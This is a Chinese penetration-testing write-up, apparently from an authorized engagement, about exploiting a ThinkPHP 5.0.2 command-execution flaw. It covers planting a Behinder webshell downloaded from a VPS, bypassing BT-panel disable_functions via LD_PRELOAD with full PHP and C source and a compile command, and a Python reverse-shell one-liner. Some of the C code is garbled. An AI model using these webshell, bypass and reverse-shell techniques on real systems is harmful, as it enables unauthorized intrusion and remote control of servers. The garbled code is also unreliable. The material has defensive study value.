一次ThinkPHP引发的bypass_disable_functions

简介: 一次ThinkPHP引发的bypass_disable_functions

一次授权测试中,发现网站是ThinkPHP 5.0.2搭建的


2a47cc0092fcfb622683ef9bee9f65b4_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


漏洞存在ThinkPHP 5.0.2 命令执行


866c089a56eb20311552fed0bfe82a09_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


尝试写入冰蝎3.0的马


4e375bfdd89922c95f7d08e8fb51b5f6_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


写入报错发现是&的问题。将&url编码。再次尝试


3d431a8e11e755ea61ebce39e0dd60a2_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


链接失败。

经过本地尝试,发现是+的问题,再写入后,将+变为了空格。将其url编码,再次写入链接发现失败,继续肝。


6ffadcfc370b4c27c757c50cff9ae01e_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


除了写入,还可以使用PHP中的copy函数,在vps上开启服务,将vps的马子,直接下载至目标服务器上


4b3f0ed1141efe971c359453fd2082ae_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


链接成功,接下来肯定是whoami一下。


871170028b28759377dafbdb038241da_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png

查看disable_functions,发现是可爱的宝塔禁用了

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,proc_open,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

还有啥是宝塔不能禁的。。。还能怎么办,接着肝,在网上学习了大佬的帖子

https://www.meetsec.cn/index.php/archives/44/

尝试利用LD_PRELOAD绕过disable_functions

直接上代码


bypass_disablefunc.php

<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
    $cmd = $_GET["cmd"];
    $out_path = $_GET["outpath"];
    $evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
    putenv("EVIL_CMDLINE=" . $evil_cmdline);
    $so_path = $_GET["sopath"];
    putenv("LD_PRELOAD=" . $so_path);
    mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; 
    unlink($out_path);
?>

bypass_disablefunc.c

#define _GNU_SOURCE
#include stdlib.h
#include stdio.h
#include string.h
extern char environ;
__attribute__ ((__constructor__)) void preload (void)
{
get command line options and arg
const char cmdline = getenv(EVIL_CMDLINE);
     unset environment variable LD_PRELOAD.
     unsetenv(LD_PRELOAD) no effect on some 
distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], LD_PRELOAD)) {
                    environ[i][0] = '0';
            }
    }
executive command
system(cmdline);
}

用命令 gcc -shared -fPIC

bypass_disablefunc.c -o bypass_disable

func_x64.so 将 bypass_disablefunc.c 编译为共享对象

bypass_disablefunc_x64.so:

要根据目标架构编译成不同版本,在 x64 的环境中编译,若不带编译选项则默认为 x64,若要编译成 x86 架构需要加上 -m32 选项。通过冰蝎上传,然后测试效果:


3828d2a65f2e77a613a2b80f1c047613_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


命令执行成功。Nc反弹shell


a46df092dff43a9ae5ad5f98e7bd63ae_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


提示没有-e的参数,直接使用python反弹

python -c 'import

socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


7296691599af4c4a2d615da6117f92fb_640_wx_fmt=png&wxfrom=5&wx_lazy=1&wx_co=1.png


反弹成功


总结:这次的测试,写入冰蝎的过程要注意编码问题。然后就是利用LD_PRELOAD绕过disable_functions。


相关文章
|
4月前
|
PHP 数据库
phpMyAdmin报错 in ./libraries/config/FormDisplay.php#661 continue targeting switch is equivalent to
phpMyAdmin报错 in ./libraries/config/FormDisplay.php#661 continue targeting switch is equivalent to
40 0
|
5月前
|
Python
RuntimeError: The Werkzeug web server is not designed to run in production. Pass allow_unsafe_werkze
RuntimeError: The Werkzeug web server is not designed to run in production. Pass allow_unsafe_werkze
170 0
|
缓存 PHP
Composer报错: require(): Failed opening required ‘.../markbaker/matrix/.../functions/adjoint.php‘
Composer报错: require(): Failed opening required ‘.../markbaker/matrix/.../functions/adjoint.php‘
271 0
|
PHP Windows
composer PHP Fatal error: Allowed memory size of 报错解决
composer PHP Fatal error: Allowed memory size of 报错解决
127 0
|
NoSQL 应用服务中间件 PHP
WordPress Caching Solutions Part 2 - Configuring NGINX FastCGI Static Page Caching and Final Load Testing
In Part 1 of this series about Caching solutions for WordPress on the Alibaba Cloud we set up server monitor and ran some load testing .
2360 0
|
PHP
PHP Execute Command Bypass Disable_functions
http://zone.wooyun.org/content/16631 http://www.
671 0
|
PHP .NET SQL
smarty3: CVE-2014-8350: secure mode bypass
Package: smarty3 Version: All below 3.1.21 Severity: important Smarty secure mode should allow...
869 0